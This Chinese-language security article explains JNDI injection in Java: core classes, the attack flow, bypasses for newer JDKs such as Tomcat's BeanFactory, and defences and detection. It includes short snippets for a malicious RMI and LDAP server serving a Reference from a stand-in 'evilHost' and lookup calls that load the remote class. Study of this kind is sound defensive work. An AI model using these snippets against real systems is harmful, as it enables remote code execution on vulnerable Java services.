浅析JNDI注入
字数 2156 2025-08-23 18:31:08

JNDI注入攻击深度分析与防御指南

1. JNDI基础概念

1.1 JNDI定义与作用

JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,它允许Java应用程序通过统一的API访问各种命名和目录服务,包括:

  • JDBC
  • LDAP
  • RMI
  • DNS
  • NIS
  • CORBA命名服务

1.2 核心概念

  • Bindings(绑定): 名称与对象的关联关系
  • Context(上下文): 一组名称到对象的绑定集合
  • References(引用): 当对象无法直接存储时,存储获取对象所需的信息
  • Directory Service(目录服务): 命名服务的扩展,允许对象有属性

2. JNDI架构与关键类

2.1 JNDI结构

Java JDK中提供了五个包实现JNDI功能:

  1. javax.naming: 基本命名操作
  2. javax.naming.directory: 目录操作
  3. javax.naming.event: 事件通知
  4. javax.naming.ldap: LDAP支持
  5. javax.naming.spi: 服务提供者接口

2.2 关键类分析

InitialContext类

  • 构造方法:

    • InitialContext(): 构建初始上下文
    • InitialContext(boolean lazy): 延迟初始化
    • InitialContext(Hashtable<?,?> environment): 使用环境配置构建
  • 常用方法:

    • bind(): 名称绑定对象
    • list(): 枚举绑定名称
    • lookup(): 检索命名对象(关键攻击点)
    • rebind(): 覆盖绑定
    • unbind(): 解除绑定

Reference类

表示对命名/目录系统外部对象的引用。

  • 构造方法:

    • Reference(String className)
    • Reference(String className, RefAddr addr)
    • Reference(String className, RefAddr addr, String factory, String factoryLocation)
    • Reference(String className, String factory, String factoryLocation)
  • 关键参数:

    • className: 远程加载的类名
    • factory: 实例化类的名称
    • factoryLocation: 类数据地址(支持file/ftp/http等协议)

3. JNDI注入原理

3.1 攻击流程

  1. 攻击者控制lookup()方法的参数
  2. 客户端访问恶意的RMI或LDAP服务
  3. 服务返回恶意Reference对象
  4. 客户端从攻击者控制的地址加载恶意类
  5. 恶意类中的代码被执行

3.2 利用条件

  • 应用使用JNDI动态查找外部可控资源
  • 使用低版本JDK(默认信任远程代码)
  • 或高版本JDK但配置不当(手动设置trustURLCodebase=true)

4. 攻击实现方式

4.1 RMI协议攻击

服务端代码示例

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://evilHost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);

客户端触发

Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

4.2 LDAP协议攻击

LDAP服务端示例

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://evilHost/#EvilClass")));
InMemoryDirectoryServer inMemoryDirectoryServer = new InMemoryDirectoryServer(config);
inMemoryDirectoryServer.startListening();

客户端触发

InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://evilHost:9999/EvilClass");

5. JDK版本差异与绕过

5.1 高版本JDK限制

JDK 8u121及以上版本默认设置:

  • com.sun.jndi.rmi.object.trustURLCodebase=false
  • com.sun.jndi.cosnaming.object.trustURLCodebase=false

5.2 高版本绕过技术

  1. 利用本地ClassPath中的类:

    • 寻找实现ObjectFactory接口的类
    • 需要有无参构造函数
    • getObjectInstance方法可被利用
  2. Tomcat依赖类利用:

    • org.apache.naming.factory.BeanFactory
    • 可利用其invoke方法执行命令
  3. 手动设置信任远程代码(不推荐):

    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
    

6. 防御措施

  1. 升级JDK版本:

    • 使用8u121、7u131、6u141及以上版本
  2. 代码层面防御:

    • 避免使用外部可控的JNDI查找
    • 对用户输入进行严格过滤
  3. 配置层面防御:

    • 保持默认的trustURLCodebase=false
    • 限制出网连接
  4. 运行时防御:

    • 使用SecurityManager限制敏感操作
    • 监控可疑的JNDI查找行为

7. 攻击检测与排查

  1. 监控异常JNDI请求:

    • 非内网的RMI/LDAP请求
    • 非常规端口的命名服务请求
  2. 检查日志中的可疑行为:

    • 异常的类加载记录
    • 来自外部的Reference对象处理
  3. 分析网络流量:

    • 异常的HTTP类加载请求
    • 可疑的LDAP/RMI通信模式

附录:参考实验环境搭建

实验环境要求

  • JDK 8u101(用于低版本实验)
  • JDK 8u341(用于高版本实验)
  • 网络隔离环境(避免真实攻击)

实验步骤

  1. 搭建恶意RMI/LDAP服务
  2. 准备恶意类并托管在HTTP服务
  3. 使用客户端触发JNDI查找
  4. 观察命令执行结果
  5. 对比不同JDK版本的行为差异

注意:本技术文档仅供安全研究与防御使用,请勿用于非法用途。

JNDI注入攻击深度分析与防御指南 1. JNDI基础概念 1.1 JNDI定义与作用 JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,它允许Java应用程序通过统一的API访问各种命名和目录服务,包括: JDBC LDAP RMI DNS NIS CORBA命名服务 1.2 核心概念 Bindings(绑定) : 名称与对象的关联关系 Context(上下文) : 一组名称到对象的绑定集合 References(引用) : 当对象无法直接存储时,存储获取对象所需的信息 Directory Service(目录服务) : 命名服务的扩展,允许对象有属性 2. JNDI架构与关键类 2.1 JNDI结构 Java JDK中提供了五个包实现JNDI功能: javax.naming : 基本命名操作 javax.naming.directory : 目录操作 javax.naming.event : 事件通知 javax.naming.ldap : LDAP支持 javax.naming.spi : 服务提供者接口 2.2 关键类分析 InitialContext类 构造方法 : InitialContext() : 构建初始上下文 InitialContext(boolean lazy) : 延迟初始化 InitialContext(Hashtable<?,?> environment) : 使用环境配置构建 常用方法 : bind() : 名称绑定对象 list() : 枚举绑定名称 lookup() : 检索命名对象(关键攻击点) rebind() : 覆盖绑定 unbind() : 解除绑定 Reference类 表示对命名/目录系统外部对象的引用。 构造方法 : Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation) 关键参数 : className : 远程加载的类名 factory : 实例化类的名称 factoryLocation : 类数据地址(支持file/ftp/http等协议) 3. JNDI注入原理 3.1 攻击流程 攻击者控制 lookup() 方法的参数 客户端访问恶意的RMI或LDAP服务 服务返回恶意Reference对象 客户端从攻击者控制的地址加载恶意类 恶意类中的代码被执行 3.2 利用条件 应用使用JNDI动态查找外部可控资源 使用低版本JDK(默认信任远程代码) 或高版本JDK但配置不当(手动设置 trustURLCodebase=true ) 4. 攻击实现方式 4.1 RMI协议攻击 服务端代码示例 客户端触发 4.2 LDAP协议攻击 LDAP服务端示例 客户端触发 5. JDK版本差异与绕过 5.1 高版本JDK限制 JDK 8u121及以上版本默认设置: com.sun.jndi.rmi.object.trustURLCodebase=false com.sun.jndi.cosnaming.object.trustURLCodebase=false 5.2 高版本绕过技术 利用本地ClassPath中的类 : 寻找实现 ObjectFactory 接口的类 需要有无参构造函数 getObjectInstance 方法可被利用 Tomcat依赖类利用 : org.apache.naming.factory.BeanFactory 可利用其 invoke 方法执行命令 手动设置信任远程代码 (不推荐): 6. 防御措施 升级JDK版本 : 使用8u121、7u131、6u141及以上版本 代码层面防御 : 避免使用外部可控的JNDI查找 对用户输入进行严格过滤 配置层面防御 : 保持默认的 trustURLCodebase=false 限制出网连接 运行时防御 : 使用SecurityManager限制敏感操作 监控可疑的JNDI查找行为 7. 攻击检测与排查 监控异常JNDI请求 : 非内网的RMI/LDAP请求 非常规端口的命名服务请求 检查日志中的可疑行为 : 异常的类加载记录 来自外部的Reference对象处理 分析网络流量 : 异常的HTTP类加载请求 可疑的LDAP/RMI通信模式 附录:参考实验环境搭建 实验环境要求 JDK 8u101(用于低版本实验) JDK 8u341(用于高版本实验) 网络隔离环境(避免真实攻击) 实验步骤 搭建恶意RMI/LDAP服务 准备恶意类并托管在HTTP服务 使用客户端触发JNDI查找 观察命令执行结果 对比不同JDK版本的行为差异 注意:本技术文档仅供安全研究与防御使用,请勿用于非法用途。